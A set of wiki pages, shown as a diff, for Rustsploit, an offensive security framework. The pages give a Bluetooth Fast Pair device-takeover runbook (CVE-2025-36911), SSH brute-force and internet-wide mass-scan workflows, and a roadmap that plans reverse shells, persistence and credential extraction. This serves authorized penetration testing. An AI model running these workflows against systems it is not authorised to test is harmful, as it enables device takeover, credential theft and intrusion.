| `rename <name>` | Write a personalized device name (Additional Data, §3.3.5) using the session key. |
|
||||
| `switch` | Audio-switching attack (§5.3.3) using the planted account key. |
|
||||
| `harvest` | Fetch seed-model Anti-Spoofing keys from the configured metadata API. |
|
||||
| `help` / `quit` | — |
|
||||
|
||||
## Global options
|
||||
|
||||
| Option | Example | Effect |
|
||||
|--------|---------|--------|
|
||||
| `target_mac` | `setg target_mac AA:BB:CC:DD:EE:FF` | Target a single device. |
|
||||
| `adapter` | `setg adapter 1` | BLE adapter index (multi-controller hosts). |
|
||||
| `scan_secs` | `setg scan_secs 20` | Scan window, clamped 3–300 s. |
|
||||
| `model_id` | `setg model_id 0x0582FD` | Model ID when the advert doesn't carry one (SteadyState). |
|
||||
| `antispoofing_key` | `setg antispoofing_key <base64>` | Provider Anti-Spoofing public key. |
|
||||
| `gfp_metadata_url` | `setg gfp_metadata_url https://…/{model_id}?key={api_key}` | Metadata API URL template. |
|
||||
| `gfp_api_key` | `setg gfp_api_key <key>` | Metadata API key. |
|
||||
|
||||
## Hardware runbook (e.g. your own earbuds)
|
||||
|
||||
1. `cargo run --features bluetooth -- -m exploits/bluetooth/wpair`
|
||||
2. Put the earbuds in their case / out of pairing mode (to prove the *bypass* —
|
||||
they should be advertising the account-key filter, i.e. SteadyState).
|
||||
3. `scan` → note the MAC and whether it shows `STEADY-STATE`.
|
||||
4. `select <MAC>` then `testall` — this **detects** the bypass with no key (it
|
||||
classifies on whether the device accepts the KBP write out of pairing mode).
|
||||
5. For a **full takeover**, provide the key — `setg antispoofing_key <base64>`
|
||||
(for a SteadyState target `wpair` also reads the model ID over GATT) — then
|
||||
`exploit`. It derives the session key, plants a passkey + account key, stores
|
||||
them to loot, and prints `VULNERABLE … CVE-2025-36911`; `pair` then completes
|
||||
OS-level bonding.
|
||||
6. Run `nonce` and `curve` to record the conformance results.
|
||||
|
||||
> The protocol details are verified against the public Fast Pair spec and two
|
||||
> reference PoCs (Python + Android): characteristic UUIDs (`fe2c1233`-`fe2c1238`),
|
||||
> the canonical request flags (`0x11`), and the Additional-Data
|
||||
> HMAC-SHA256 + Fast-Pair-AES-CTR construction. The deterministic core (ECDH,
|
||||
> AES-128, the KBP/passkey/account-key/Additional-Data builders) was validated
|
||||
> during development against standard test vectors (FIPS-197 AES, RFC-4231 HMAC,
|
||||
> ECDH symmetry). The connect path retries with backoff and a 10 s timeout; the
|
||||
> live GATT behaviour still depends on your adapter and target firmware — report
|
||||
> anything that misbehaves against your hardware.
|
||||
|
||||
## References
|
||||
|
||||
- CVE-2025-36911 — <https://nvd.nist.gov/vuln/detail/CVE-2025-36911>
|
||||
- WhisperPair — <https://whisperpair.eu/>
|
||||
- Fast Pair Provider spec — <https://developers.google.com/nearby/fast-pair/specifications/service/provider>
|
||||
@@ -0,0 +1,62 @@
|
||||
# Future Features Roadmap
|
||||
|
||||
Rustsploit is under active development. Below are some of the major features planned for upcoming releases.
|
||||
|
||||
## Recently Completed
|
||||
|
||||
### 3rd-Party Plugin System
|
||||
The `plugins/` directory is now fully operational. Drop `.rs` files into `src/modules/plugins/` with the standard `pub async fn run(target: &str)` signature and they are auto-discovered at build time. A safety warning is displayed at shell and API startup when plugins are loaded.
|
||||
|
||||
### Framework Services (Metasploit Parity)
|
||||
The following Metasploit-inspired features have been implemented:
|
||||
- **Module Metadata** (`info` command) — CVE, author, rank, description per module
|
||||
- **Vulnerability Check** (`check` command) — Non-destructive verification
|
||||
- **Global Options** (`setg`/`unsetg`) — Persistent options across modules
|
||||
- **Credential Store** (`creds`) — Track discovered credentials with JSON persistence
|
||||
- **Host/Service Tracking** (`hosts`/`services`) — Workspace-based engagement data
|
||||
- **Loot Management** (`loot`) — Structured evidence collection
|
||||
- **Resource Scripts** (`resource`) — Automation from script files
|
||||
- **Console Logging** (`spool`) — Capture all output to file
|
||||
- **Background Jobs** (`run -j`/`jobs`) — Async module execution
|
||||
- **Export/Reporting** (`export`) — JSON, CSV, and summary reports
|
||||
|
||||
---
|
||||
|
||||
## Planned Features
|
||||
|
||||
### 1. Instant Configuration Loading
|
||||
Currently, modules are configured interactively or via API JSON payloads. We plan to add support for instantly loading configuration profiles from disk.
|
||||
- **Goal:** Allow users to save their favorite scan parameters (wordlists, threads, timeouts) to a `.toml` or `.yaml` file and load them instantly.
|
||||
- **Usage Idea:** `run exploits/tomcat_rce --config profiles/aggressive.toml` or `set config profiles/aggressive.toml` in the shell.
|
||||
|
||||
### ~~2. Dynamic Source Port Modification~~ ✅ Completed (v0.5.0)
|
||||
Source port binding is now framework-level. `setg source_port 53` binds all
|
||||
outbound TCP/UDP connections to port 53 via `socket2` with `SO_REUSEADDR` /
|
||||
`SO_REUSEPORT`. All network wrappers (`tcp_connect_str`, `tcp_connect_addr`,
|
||||
`blocking_tcp_connect`, `udp_bind`) honour this setting. Third-party library
|
||||
connections (FTP via suppaftp, Telnet) receive pre-connected streams from
|
||||
these wrappers so they also respect the source port.
|
||||
|
||||
### 3. Session/Handler Management
|
||||
Add Metasploit-style session management with reverse/bind shell handlers.
|
||||
- **Goal:** Multi/handler listener, session listing/interaction, background sessions.
|
||||
- **Implementation:** Listener framework with TCP/HTTP handlers, session tracking with numeric IDs.
|
||||
|
||||
### 4. Post-Exploitation Modules
|
||||
Add a `post/` module category for post-exploitation tasks.
|
||||
- **Goal:** Privilege escalation checks, persistence mechanisms, credential extraction, lateral movement.
|
||||
- **Implementation:** New module category auto-discovered by `register_native_module!` + `inventory`.
|
||||
|
||||
### 5. Network Pivoting
|
||||
Route traffic through compromised hosts.
|
||||
- **Goal:** SOCKS proxy, port forwarding, autoroute through sessions.
|
||||
- **Implementation:** Requires session management (Feature 3) first.
|
||||
|
||||
### 6. Nmap Integration
|
||||
Import scan results directly into the workspace.
|
||||
- **Goal:** `db_import` command for Nmap XML, populate hosts/services automatically.
|
||||
- **Implementation:** Parse Nmap XML output and feed into workspace.
|
||||
|
||||
---
|
||||
|
||||
*If you'd like to contribute to any of these features, please check out the [Contributing Guide](Contributing.md) and open a pull request!*
|
||||
@@ -0,0 +1,200 @@
|
||||
# Getting Started
|
||||
|
||||
Rustsploit is a modular offensive tooling framework for embedded targets, written in Rust and inspired by RouterSploit/Metasploit. It ships an interactive shell, a CLI runner, a WebSocket API server with post-quantum encryption, and an ever-growing library of exploits, scanners, and credential modules.
|
||||
|
||||
---
|
||||
|
||||
## Requirements
|
||||
|
||||
### System Dependencies
|
||||
|
||||
**Debian / Ubuntu / Kali:**
|
||||
```bash
|
||||
sudo apt update && sudo apt install -y build-essential pkg-config libssl-dev libdbus-1-dev cmake clang lld mold
|
||||
```
|
||||
|
||||
> `clang`, `lld`, and `mold` are optional but strongly recommended — the repo's `.cargo/config.toml` is preconfigured to use a fast linker (see [Faster Builds](#faster-builds) below).
|
||||
|
||||
**Arch Linux:**
|
||||
```bash
|
||||
sudo pacman -S base-devel pkgconf openssl dbus cmake
|
||||
```
|
||||
|
||||
**Gentoo:**
|
||||
```bash
|
||||
sudo emerge dev-libs/openssl dev-util/pkgconf sys-apps/dbus dev-build/cmake
|
||||
```
|
||||
|
||||
**Fedora / RHEL:**
|
||||
```bash
|
||||
sudo dnf install gcc make pkgconf-pkg-config openssl-devel dbus-devel cmake
|
||||
```
|
||||
|
||||
### Rust & Cargo
|
||||
|
||||
```bash
|
||||
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
|
||||
source $HOME/.cargo/env
|
||||
```
|
||||
|
||||
> Rust 1.85+ is required (edition 2024). Run `rustup update` to stay current.
|
||||
|
||||
---
|
||||
|
||||
## Clone & Build
|
||||
|
||||
```bash
|
||||
git clone https://github.com/s-b-repo/rustsploit.git
|
||||
cd rustsploit
|
||||
cargo build
|
||||
```
|
||||
|
||||
For a release-optimized binary:
|
||||
```bash
|
||||
cargo build --release
|
||||
# Binary written to target/release/rustsploit
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Faster Builds
|
||||
|
||||
The repository ships with build-performance tuning already applied:
|
||||
|
||||
- **`.cargo/config.toml`** — uses `clang` + `lld` as the linker on Linux and enables the sparse crates.io registry protocol.
|
||||
- **`Cargo.toml` `[profile.dev]`** — `debug = "line-tables-only"` and `codegen-units = 256` for fast incremental builds with usable backtraces.
|
||||
- **`[profile.dev.package."*"]`** — dependencies are still compiled at `opt-level = 2` so runtime stays fast.
|
||||
- **`[profile.fast-release]`** — `cargo build --profile fast-release` for release-like binaries with thin LTO and parallel codegen (much faster than `--release`).
|
||||
|
||||
### Recommended optional tooling
|
||||
|
||||
**1. Install `mold` (fastest linker on Linux).** It's already in the apt install line above. To switch from `lld` to `mold`, edit `.cargo/config.toml` and replace `-fuse-ld=lld` with `-fuse-ld=mold`.
|
||||
|
||||
**2. `cargo check` instead of `cargo build`** during iteration — skips codegen entirely:
|
||||
```bash
|
||||
cargo check
|
||||
# or auto-rerun on save:
|
||||
cargo install cargo-watch
|
||||
cargo watch -x check
|
||||
```
|
||||
|
||||
**3. `sccache` for cross-project caching:**
|
||||
```bash
|
||||
cargo install sccache
|
||||
export RUSTC_WRAPPER=sccache # add to ~/.zshrc or ~/.bashrc
|
||||
```
|
||||
|
||||
**4. Share a target directory across projects** to reuse compiled deps:
|
||||
```bash
|
||||
export CARGO_TARGET_DIR="$HOME/.cargo-target"
|
||||
```
|
||||
|
||||
### Reducing memory / CPU usage
|
||||
|
||||
If `cargo build` thrashes RAM or pegs all cores, cap parallelism:
|
||||
```bash
|
||||
cargo build -j 4 # limit parallel compile jobs
|
||||
CARGO_BUILD_JOBS=4 cargo build # or via env
|
||||
```
|
||||
A good rule of thumb: `-j $(($(nproc) / 2))` on memory-constrained machines. Each rustc job can use 1–2 GiB on heavy crates.
|
||||
|
||||
### Quick reference
|
||||
|
||||
| Goal | Command |
|
||||
|------|---------|
|
||||
| Type-check only (fastest) | `cargo check` |
|
||||
| Dev build | `cargo build` |
|
||||
| Release-like, fast to compile | `cargo build --profile fast-release` |
|
||||
| Fully optimized release | `cargo build --release` |
|
||||
| Limit RAM/CPU | `cargo build -j 4` |
|
||||
|
||||
---
|
||||
|
||||
## Run
|
||||
|
||||
### Interactive Shell
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
### CLI (non-interactive)
|
||||
```bash
|
||||
cargo run -- -m exploits/heartbleed -t 192.168.1.1
|
||||
```
|
||||
|
||||
See [CLI Reference](CLI-Reference.md) for all flags.
|
||||
|
||||
### API Server
|
||||
```bash
|
||||
cargo run -- --api
|
||||
```
|
||||
|
||||
This starts the PQ-encrypted API server on port 8080. On first run it generates a host key pair at `~/.rustsploit/pq_host_key` and prints its fingerprint. Clients must be listed in `~/.rustsploit/pq_authorized_keys` to connect. No TLS or API keys — authentication uses SSH-style post-quantum identity keys. See [API Server](API-Server.md) and [API Usage Examples](API-Usage-Examples.md) for details.
|
||||
|
||||
---
|
||||
|
||||
## Docker Deployment
|
||||
|
||||
Rustsploit ships a provisioning script that builds and launches the API inside Docker.
|
||||
|
||||
### Requirements
|
||||
|
||||
- Docker Engine 24+ (or Docker Desktop)
|
||||
- Docker Compose plugin (`docker compose`) or legacy `docker-compose`
|
||||
- Python 3.8+
|
||||
|
||||
### Interactive Setup
|
||||
|
||||
```bash
|
||||
python3 scripts/setup_docker.py
|
||||
```
|
||||
|
||||
The helper will:
|
||||
1. Confirm you are in the repository root (`Cargo.toml` present).
|
||||
2. Ask how the API should bind (`127.0.0.1`, `0.0.0.0`, detected LAN IP, or custom `host:port`).
|
||||
3. Generate or configure PQ identity keys for the API server.
|
||||
4. Toggle hardening mode and tune the IP limit.
|
||||
5. Generate:
|
||||
- `docker/Dockerfile.api`
|
||||
- `docker/entrypoint.sh`
|
||||
- `.env.rustsploit-docker`
|
||||
- `docker-compose.rustsploit.yml`
|
||||
6. Optionally run `docker compose up -d --build` with BuildKit enabled.
|
||||
|
||||
Existing files are never overwritten without confirmation.
|
||||
|
||||
### Non-Interactive / CI
|
||||
|
||||
```bash
|
||||
python3 scripts/setup_docker.py \
|
||||
--bind 0.0.0.0:8443 \
|
||||
--generate-key \
|
||||
--enable-hardening \
|
||||
# PQ identity keys auto-generated on first run
|
||||
--skip-up \
|
||||
--force \
|
||||
--non-interactive
|
||||
```
|
||||
|
||||
To start the stack later:
|
||||
```bash
|
||||
docker compose -f docker-compose.rustsploit.yml up -d --build
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Privacy / VPN
|
||||
|
||||
The built-in proxy system has been removed in favor of system-level VPN solutions.
|
||||
|
||||
We recommend **[Mullvad VPN](https://mullvad.net)**:
|
||||
- No registration — account numbers generated without email or personal data
|
||||
- Proven no-logs policy with audited infrastructure
|
||||
- WireGuard support for high-performance, low-latency tunneling
|
||||
- Excellent Linux CLI for headless setups
|
||||
|
||||
Connect the VPN on your host before running Rustsploit and all traffic routes through the tunnel automatically.
|
||||
|
||||
---
|
||||
|
||||
> ⚠️ For authorized security testing and research only. Obtain explicit written permission before targeting any system you do not own.
|
||||
@@ -0,0 +1,42 @@
|
||||
# Rustsploit Wiki
|
||||
|
||||
Welcome to the Rustsploit documentation hub. Use the links below to navigate to the relevant guide.
|
||||
|
||||
> ⚠️ Rustsploit is intended for **authorized security testing and research only**. Always obtain explicit written permission before targeting any system you do not own.
|
||||
|
||||
---
|
||||
|
||||
## 📖 Documentation Index
|
||||
|
||||
| Document | Description |
|
||||
|----------|-------------|
|
||||
| [Getting Started](Getting-Started.md) | Installation, build, quick-start, Docker deployment |
|
||||
| [Interactive Shell](Interactive-Shell.md) | Shell walkthrough, command palette, chaining, shortcuts |
|
||||
| [CLI Reference](CLI-Reference.md) | Command-line flags, non-shell usage, output formats |
|
||||
| [API Server](API-Server.md) | WebSocket API, PQ encryption, endpoints, rate limiting |
|
||||
| [API Usage Examples](API-Usage-Examples.md) | Practical curl workflows, request/response samples |
|
||||
| [Module Catalog](Module-Catalog.md) | Live registry export — auto-generated by `rustsploit --gen-module-catalog` from the inventory |
|
||||
| [Module Development](Module-Development.md) | How to author new modules — `Module` trait, lifecycle hooks, scheduler, rate limiter |
|
||||
| [Legacy / Migration Status](Legacy.md) | Pre-v0.5.0 code paths kept on purpose, in-flight migrations, audit findings ledger |
|
||||
| [Security & Validation](Security-Validation.md) | Input validation constants, security patterns, honeypot detection |
|
||||
| [Credential Modules Guide](Credential-Modules-Guide.md) | Best practices for credential modules — creds_helper, source port, timeout passthrough |
|
||||
| [Exploit Modules Guide](Exploit-Modules-Guide.md) | Best practices for exploit modules — mass scan compat, batch guards, target-specific files |
|
||||
| [Fast Pair / WhisperPair Guide](Fast-Pair-WhisperPair-Guide.md) | Bluetooth Fast Pair exploitation (CVE-2025-36911) — ECDH Key-Based Pairing, anti-spoofing key sourcing, conformance tests, hardware runbook |
|
||||
| [Utilities & Helpers](Utilities-Helpers.md) | Network wrappers, creds_helper, exploit_helper, source port binding, cfg_prompt_* |
|
||||
| [Bad Patterns](BAD_PATTERNS.md) | Banned code patterns — 95+ regex checks for panics, error swallowing, network bypasses |
|
||||
| [Testing & QA](Testing-QA.md) | Build checks (0 errors, 0 warnings), smoke tests, wordlist validation |
|
||||
| [Changelog](Changelog.md) | Release notes and version history (latest: 2026-06-13 — rmcp / Recog / JARM / SecLists ports, mass-scan fixes, per-run auto-save) |
|
||||
| [Contributing](Contributing.md) | Fork guide, PR checklist, code style |
|
||||
| [Credits](Credits.md) | Authors, acknowledgements, legal notice |
|
||||
| [Future Features](Future-Features.md) | Roadmap and completed features (plugins, metadata, global options, etc.) |
|
||||
| [About Me](About-Me.md) | Information about the author |
|
||||
| [Donation](Donation.md) | Ways to support the project |
|
||||
|
||||
---
|
||||
|
||||
## Quick Navigation
|
||||
|
||||
- **New user?** → Start with [Getting Started](Getting-Started.md)
|
||||
- **Writing a module?** → See [Module Development](Module-Development.md)
|
||||
- **Using the API?** → See [API Server](API-Server.md) + [API Usage Examples](API-Usage-Examples.md)
|
||||
- **Running from CLI?** → See [CLI Reference](CLI-Reference.md)
|
||||
@@ -0,0 +1,300 @@
|
||||
# Interactive Shell
|
||||
|
||||
Rustsploit's shell (`src/shell.rs`) provides an ergonomic command palette with shortcuts, module/target state tracking, and honeypot detection. Launch it with:
|
||||
|
||||
```bash
|
||||
cargo run
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Command Palette
|
||||
|
||||
All commands are **case-insensitive** and support aliases:
|
||||
|
||||
| Command | Shortcuts | Description |
|
||||
|---------|-----------|-------------|
|
||||
| `help` | `h`, `?` | Show command reference |
|
||||
| `modules` | `list`, `ls`, `m` | List all discovered modules |
|
||||
| `find <kw>` | `search`, `f`, `f1` | Search modules by keyword |
|
||||
| `use <path>` | `u <path>` | Select a module |
|
||||
| `info [path]` | `i` | Show module metadata (CVE, author, rank) |
|
||||
| `back` | `b`, `clear`, `reset` | Deselect current module and target |
|
||||
| `set target <val>` | `t <val>` | Set target (IPv4/IPv6/hostname/CIDR) |
|
||||
| `set subnet <CIDR>` | `sn <CIDR>` | Set target to a CIDR subnet |
|
||||
| `show_target` | `st`, `showtarget` | Display current target |
|
||||
| `clear_target` | `ct`, `cleartarget` | Clear target |
|
||||
| `run` | `go`, `exec`, `ra` | Execute the selected module |
|
||||
| `run -j` | | Run module as background job |
|
||||
| `check` | `ch` | Non-destructive vulnerability check |
|
||||
| `setg <key> <val>` | `sg` | Set a global option (persists across modules) |
|
||||
| `unsetg <key>` | `ug` | Remove a global option |
|
||||
| `show options` | `so` | Display all global options (now includes `scan_order`, `exclusions`, `target_rps`, `module_rps`) |
|
||||
| `creds` | | List stored credentials |
|
||||
| `creds add` | | Add a credential interactively |
|
||||
| `creds search <q>` | | Search credentials by host/service/user |
|
||||
| `creds delete <id>` | | Delete a credential by ID |
|
||||
| `creds clear` | | Clear all credentials |
|
||||
| `hosts` | | List tracked hosts |
|
||||
| `hosts add <ip>` | | Add a host to workspace |
|
||||
| `services` | `svcs` | List tracked services |
|
||||
| `services add` | | Add a service interactively |
|
||||
| `notes <ip> <text>` | | Add a note to a host |
|
||||
| `workspace [name]` | `ws` | Show or switch workspaces |
|
||||
| `loot` | | List collected loot |
|
||||
| `loot add` | | Add loot interactively |
|
||||
| `loot search <q>` | | Search loot |
|
||||
| `resource <file>` | `rc` | Execute a resource script |
|
||||
| `makerc <file>` | | Save command history to file |
|
||||
| `spool <file>` | | Log console output to file |
|
||||
| `spool off` | | Stop console logging |
|
||||
| `export json <f>` | | Export all data to JSON |
|
||||
| `export csv <f>` | | Export all data to CSV |
|
||||
| `export summary <f>` | | Export human-readable report |
|
||||
| `jobs` | `j` | List background jobs |
|
||||
| `jobs -k <id>` | | Kill a background job |
|
||||
| `jobs clean` | | Clean up finished jobs |
|
||||
| `exit` | `quit`, `q` | Leave the shell |
|
||||
|
||||
---
|
||||
|
||||
## Example Session
|
||||
|
||||
```text
|
||||
rsf> f1 ssh
|
||||
rsf> u creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.10.10.10
|
||||
rsf> go
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Command Chaining
|
||||
|
||||
Execute multiple commands on one line using the `&` or `;` separator (both are
|
||||
sequential — there is no parallel/background semantics implied by `&`):
|
||||
|
||||
```text
|
||||
rsf> u creds/generic/ssh_bruteforce & set target 10.10.10.10 & go
|
||||
rsf> f1 ssh ; u creds/generic/ssh_bruteforce ; set target 192.168.1.1
|
||||
```
|
||||
|
||||
Commands are parsed and executed left-to-right. Useful for scripting quick workflows.
|
||||
|
||||
To run a module against every host in a subnet, just `set target <CIDR>` (or
|
||||
`random`) and `run` — the dispatcher fans out automatically; there is no
|
||||
separate `run_all` command.
|
||||
|
||||
---
|
||||
|
||||
## Target Normalization
|
||||
|
||||
When you run `set target`, the value is normalized and validated automatically. Supported formats:
|
||||
|
||||
| Format | Example |
|
||||
|--------|---------|
|
||||
| IPv4 | `192.168.1.1` |
|
||||
| IPv4 + port | `192.168.1.1:8080` |
|
||||
| IPv6 | `::1`, `2001:db8::1` |
|
||||
| IPv6 + port | `[::1]:8080` |
|
||||
| Hostname | `example.com`, `example.com:443` |
|
||||
| URL | `http://example.com:8080` |
|
||||
| CIDR | `192.168.1.0/24`, `2001:db8::/32` |
|
||||
|
||||
Security checks (length, control characters, path traversal) are enforced at the framework level.
|
||||
|
||||
### Multi-Target Support
|
||||
|
||||
The framework-level dispatcher handles multiple target types transparently for all modules. You do not need per-module support for these formats:
|
||||
|
||||
| Format | Example |
|
||||
|--------|---------|
|
||||
| Comma-separated | `t 192.168.1.1, 192.168.1.2, 192.168.1.3` |
|
||||
| CIDR range | `t 192.168.1.0/24` |
|
||||
| File of targets | `t /path/to/targets.txt` |
|
||||
| Random scanning | `t random` or `t 0.0.0.0/0` |
|
||||
| Sequential scanning | `t seq` (from `1.0.0.0`), `t seq:1.2.3.4` (explicit start) |
|
||||
|
||||
All modules benefit from this automatically -- the dispatcher expands multi-target values and invokes the module once per resolved target.
|
||||
|
||||
> **Note:** Only `random` and `0.0.0.0/0` trigger a full-internet random mass
|
||||
> scan. Bare `0.0.0.0` is treated as a normal single host, **not** a mass-scan
|
||||
> keyword, so `t 0.0.0.0` will not launch an internet-wide scan.
|
||||
|
||||
### Mass-scan order: random vs. sequential
|
||||
|
||||
A full-public-IPv4 sweep can run in two orders, both honoring the exclusion list
|
||||
(`setg exclusions …`):
|
||||
|
||||
- **Random** (default) — `t random` / `t 0.0.0.0/0`: samples random public IPs up
|
||||
to `max_random_hosts` (default 10,000).
|
||||
- **Sequential** — `t seq` / `t seq:<start-ip>`, or flip `0.0.0.0/0`/`random` into
|
||||
order with `setg scan_order sequential`: walks `1.0.0.0 → 223.255.255.255` in
|
||||
order, skipping excluded/reserved ranges. **Unbounded** by default (Ctrl+C to
|
||||
stop) unless you set `max_random_hosts`; it checkpoints the high-water IP, so a
|
||||
killed scan **resumes** from where it left off on the next run. Set
|
||||
`setg scan_order random` to switch back.
|
||||
|
||||
---
|
||||
|
||||
## Honeypot Detection
|
||||
|
||||
After a target is set, Rustsploit automatically runs a honeypot check before module execution:
|
||||
|
||||
- Scans **30 common ports** with a 200 ms timeout each.
|
||||
- If **11 or more** ports are open, it warns that the target is likely a honeypot.
|
||||
- Runs automatically on every `run`/`go` invocation.
|
||||
|
||||
Manual call (from module code): `crate::utils::network::quick_honeypot_check(ip)`
|
||||
|
||||
---
|
||||
|
||||
## Global Options (`set` / `setg`)
|
||||
|
||||
`set` and `setg` both write to the persistent global options store
|
||||
(`~/.rustsploit/global_options.json`). They are functionally identical — `set`
|
||||
is the shorter form, `setg` is kept for Metasploit muscle memory. Both are
|
||||
checked by `cfg_prompt_*` functions after API custom_prompts but before
|
||||
interactive stdin.
|
||||
|
||||
```text
|
||||
rsf> set port 8080
|
||||
rsf> setg concurrency 50
|
||||
rsf> show options
|
||||
rsf> unset port
|
||||
rsf> unsetg concurrency
|
||||
```
|
||||
|
||||
### Metasploit Aliases
|
||||
|
||||
The shell accepts Metasploit-style option names and maps them to Rustsploit keys:
|
||||
|
||||
| Metasploit name | Rustsploit key | Example |
|
||||
|-----------------|----------------|---------|
|
||||
| `RHOST` / `RHOSTS` | `target` | `set RHOST 10.0.0.1` |
|
||||
| `RPORT` | `port` | `set RPORT 443` |
|
||||
| `LPORT` | `source_port` | `set LPORT 31337` |
|
||||
| `THREADS` | `concurrency` | `set THREADS 100` |
|
||||
| `MODULE_TIMEOUT` | `timeout` | `set MODULE_TIMEOUT 30` |
|
||||
|
||||
### Common Global Options
|
||||
|
||||
| Option | Example | Effect |
|
||||
|--------|---------|--------|
|
||||
| `port` | `set port 443` | Default port for all modules |
|
||||
| `source_port` | `set source_port 31337` | Outbound source port for all TCP/UDP connections |
|
||||
| `honeypot_detection` | `set honeypot_detection n` | Disable honeypot checks before `run` |
|
||||
| `timeout` | `set timeout 30` | Connection/probe timeout (seconds) — passed through to probe functions |
|
||||
| `concurrency` | `set concurrency 50` | Default thread/task count for brute-force and fan-out |
|
||||
| `verbose` | `set verbose y` | Verbose output |
|
||||
| `username_wordlist` | `set username_wordlist users.txt` | Default username wordlist |
|
||||
| `password_wordlist` | `set password_wordlist pass.txt` | Default password wordlist |
|
||||
| `stop_on_success` | `set stop_on_success y` | Stop on first valid credential |
|
||||
| `save_results` | `set save_results y` | Auto-save results to file |
|
||||
| `combo_mode` | `set combo_mode y` | Full user x pass combination mode |
|
||||
| `module_timeout` | `set module_timeout 60` | Per-target deadline in scheduler |
|
||||
| `max_random_hosts` | `set max_random_hosts 10000` | Cap for random mass scan |
|
||||
| `global_rps` | `set global_rps 100` | Process-wide rate limit (requests/sec) |
|
||||
| `module_rps` | `set module_rps 50` | Per-module rate limit |
|
||||
| `target_rps` | `set target_rps 10` | Per-target rate limit |
|
||||
| `prescan` | `set prescan auto` | Pre-scan tool for CIDR (auto/masscan/zmap/none) |
|
||||
| `prescan_rate` | `set prescan_rate 1000` | Pre-scan packets per second |
|
||||
| `scan_order` | `set scan_order sequential` | Mass-scan order for `0.0.0.0/0`/`random`: `random` (default) or `sequential` |
|
||||
| `exclusions` | `set exclusions 10.0.0.0/8,@/path/file` | CIDRs/ranges to skip in mass scans (`""`=defaults, `none`/`internal`=no filtering) |
|
||||
| `target_mac` | `setg target_mac AA:BB:CC:DD:EE:FF` | wpair: target a single Fast Pair device |
|
||||
| `adapter` | `setg adapter 1` | wpair: BLE adapter index |
|
||||
| `scan_secs` | `setg scan_secs 20` | wpair: BLE scan window (3–300 s) |
|
||||
| `model_id` | `setg model_id 0x0582FD` | wpair: Fast Pair model ID when not in the advert |
|
||||
| `antispoofing_key` | `setg antispoofing_key <base64>` | wpair: Provider Anti-Spoofing public key |
|
||||
| `gfp_metadata_url` | `setg gfp_metadata_url <tmpl>` | wpair: metadata API URL template (`{model_id}`/`{api_key}`) |
|
||||
| `gfp_api_key` | `setg gfp_api_key <key>` | wpair: metadata API key |
|
||||
| Any custom key | `set my_key value` | Modules read via `cfg_prompt_*` |
|
||||
|
||||
### Source Port Binding
|
||||
|
||||
`set source_port <port>` binds all outbound TCP and UDP connections to the
|
||||
specified source port. This is enforced at the framework level through the
|
||||
network wrappers (`tcp_connect_str`, `tcp_connect_addr`, `blocking_tcp_connect`,
|
||||
`udp_bind`) — including connections made through third-party libraries (FTP,
|
||||
Telnet) that receive pre-connected streams from these wrappers.
|
||||
|
||||
```text
|
||||
rsf> set source_port 31337
|
||||
rsf> use creds/generic/ssh_bruteforce
|
||||
rsf> set target 10.0.0.1
|
||||
rsf> run
|
||||
[*] All connections will originate from source port 31337
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Resource Scripts
|
||||
|
||||
Automate workflows by writing commands to a file and executing them:
|
||||
|
||||
```text
|
||||
rsf> resource scan_network.rc
|
||||
```
|
||||
|
||||
Script format (one command per line, `#` for comments):
|
||||
```text
|
||||
# scan_network.rc
|
||||
set target 192.168.1.0/24
|
||||
use scanners/port_scanner
|
||||
run
|
||||
```
|
||||
|
||||
Auto-loads `~/.rustsploit/startup.rc` on shell startup if it exists. Use `makerc history.rc` to save your command history.
|
||||
|
||||
---
|
||||
|
||||
## Data Management
|
||||
|
||||
Rustsploit tracks engagement data across sessions:
|
||||
|
||||
- **Credentials** (`creds`): Store discovered credentials with host, port, service, username, and type
|
||||
- **Hosts** (`hosts`): Track discovered hosts with hostname, OS, and notes
|
||||
- **Services** (`services`): Track discovered services per host
|
||||
- **Loot** (`loot`): Store collected evidence (configs, hashes, firmware)
|
||||
- **Workspaces** (`workspace`): Isolate data per engagement
|
||||
|
||||
Export all data with `export json report.json`, `export csv report.csv`, or `export summary report.txt`.
|
||||
|
||||
### Per-run output auto-save
|
||||
|
||||
Every shell / CLI module run also auto-appends its full console output (stdout + stderr) to a per-run file under the loot directory:
|
||||
|
||||
```text
|
||||
~/.rustsploit/loot/<module> <YYYY-MM-DD_HH-MM-SS> results.txt
|
||||
```
|
||||
|
||||
Files are opened in **append** mode, so a multi-host mass scan accumulates into one run file instead of racing to overwrite it. This is automatic and independent of `spool` (which logs the whole session) and of any module's own `save_results` option. API / MCP runs are not duplicated to disk — their output is returned to the caller.
|
||||
|
||||
---
|
||||
|
||||
## Background Jobs
|
||||
|
||||
Run modules in the background with `run -j`:
|
||||
|
||||
```text
|
||||
rsf> use creds/generic/ssh_bruteforce
|
||||
rsf> set target 192.168.1.1
|
||||
rsf> run -j
|
||||
[*] Job 1 started: creds/generic/ssh_bruteforce against 192.168.1.1
|
||||
rsf> jobs
|
||||
rsf> jobs -k 1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Shell Architecture
|
||||
|
||||
Key details from `src/shell.rs`:
|
||||
|
||||
- **`ShellContext`** — stores `current_module`, `current_target`, and `verbose` flag.
|
||||
- **`execute_single_command()`** — the command dispatcher, extracted as a standalone function for resource script support.
|
||||
- **`split_command` / `resolve_command`** — normalize shortcut aliases to canonical keys.
|
||||
- **`render_help()`** — prints the colorized command table.
|
||||
- **Selective persistence** — `global_options.json`, `creds.json`, workspace files, and loot are persisted across sessions in `~/.rustsploit/`. Transient shell state (selected module, current target, verbose flag) is reset on exit.
|
||||
|
||||
Tab completion and command history are powered by `rustyline`.
|
||||
+204
@@ -0,0 +1,204 @@
|
||||
# Legacy Systems & Deliberately-Untouched Code
|
||||
|
||||
This document inventories pre-v0.5.0 code paths that survive in the current codebase, why each one was kept, and where to find the historical context. Read this before deleting anything that "looks unused" — most of these are load-bearing and intentionally preserved.
|
||||
|
||||
For the v0.5.0 module-system rewrite that produced this document, see [Changelog.md § v0.5.0](Changelog.md). For the history that introduced each legacy item, see the per-version sections referenced below.
|
||||
|
||||
---
|
||||
|
||||
## Quick map (current as of v0.5.2)
|
||||
|
||||
### Removed
|
||||
|
